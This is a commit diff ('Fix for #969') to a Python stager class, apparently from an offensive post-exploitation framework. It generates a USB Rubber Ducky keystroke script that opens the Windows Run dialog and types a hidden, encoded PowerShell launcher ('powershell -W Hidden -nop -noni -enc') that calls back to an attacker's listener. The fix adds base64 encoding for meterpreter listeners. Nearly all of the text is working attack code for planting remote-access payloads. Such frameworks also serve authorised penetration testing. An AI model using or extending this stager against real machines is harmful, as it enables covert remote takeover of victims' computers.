Fix for #969
parent
3c29386612
commit
6acf71c7b7
|
@ -1,4 +1,5 @@
|
||||||
from lib.common import helpers
|
from lib.common import helpers
|
||||||
|
|
||||||
|
|
||||||
class Stager:
|
class Stager:
|
||||||
|
|
||||||
|
@ -84,7 +85,7 @@ class Stager:
|
||||||
|
|
||||||
|
|
||||||
def generate(self):
|
def generate(self):
|
||||||
|
|
||||||
# extract all of our options
|
# extract all of our options
|
||||||
language = self.options['Language']['Value']
|
language = self.options['Language']['Value']
|
||||||
interpreter = self.options['Interpreter']['Value']
|
interpreter = self.options['Interpreter']['Value']
|
||||||
|
@ -101,13 +102,18 @@ class Stager:
|
||||||
obfuscateScript = True
|
obfuscateScript = True
|
||||||
|
|
||||||
# generate the launcher code
|
# generate the launcher code
|
||||||
|
moduleName = self.mainMenu.listeners.activeListeners[listenerName]['moduleName']
|
||||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
|
||||||
|
|
||||||
if launcher == "" or interpreter == "":
|
if launcher == "" or interpreter == "":
|
||||||
print helpers.color("[!] Error in launcher command generation.")
|
print helpers.color("[!] Error in launcher command generation.")
|
||||||
return ""
|
return ""
|
||||||
else:
|
else:
|
||||||
enc = launcher.split(" ")[-1]
|
if moduleName.lower() == 'meterpreter':
|
||||||
|
import base64
|
||||||
|
enc = base64.b64encode(launcher)
|
||||||
|
else:
|
||||||
|
enc = launcher.split(" ")[-1]
|
||||||
|
|
||||||
duckyCode = "DELAY 3000\n"
|
duckyCode = "DELAY 3000\n"
|
||||||
duckyCode += "GUI r\n"
|
duckyCode += "GUI r\n"
|
||||||
|
@ -115,11 +121,12 @@ class Stager:
|
||||||
duckyCode += "STRING "+ interpreter + "\n"
|
duckyCode += "STRING "+ interpreter + "\n"
|
||||||
duckyCode += "ENTER\n"
|
duckyCode += "ENTER\n"
|
||||||
duckyCode += "DELAY 2000\n"
|
duckyCode += "DELAY 2000\n"
|
||||||
|
|
||||||
if obfuscateScript and "launcher" in obfuscateCommand.lower():
|
if obfuscateScript and "launcher" in obfuscateCommand.lower():
|
||||||
duckyCode += "STRING "+launcher+" \n"
|
duckyCode += "STRING "+launcher+" \n"
|
||||||
else:
|
else:
|
||||||
enc = launcher.split(" ")[-1]
|
|
||||||
duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n"
|
duckyCode += "STRING powershell -W Hidden -nop -noni -enc "+enc+" \n"
|
||||||
|
|
||||||
duckyCode += "ENTER\n"
|
duckyCode += "ENTER\n"
|
||||||
|
|
||||||
return duckyCode
|
return duckyCode
|
||||||
|
|
Loading…
Reference in New Issue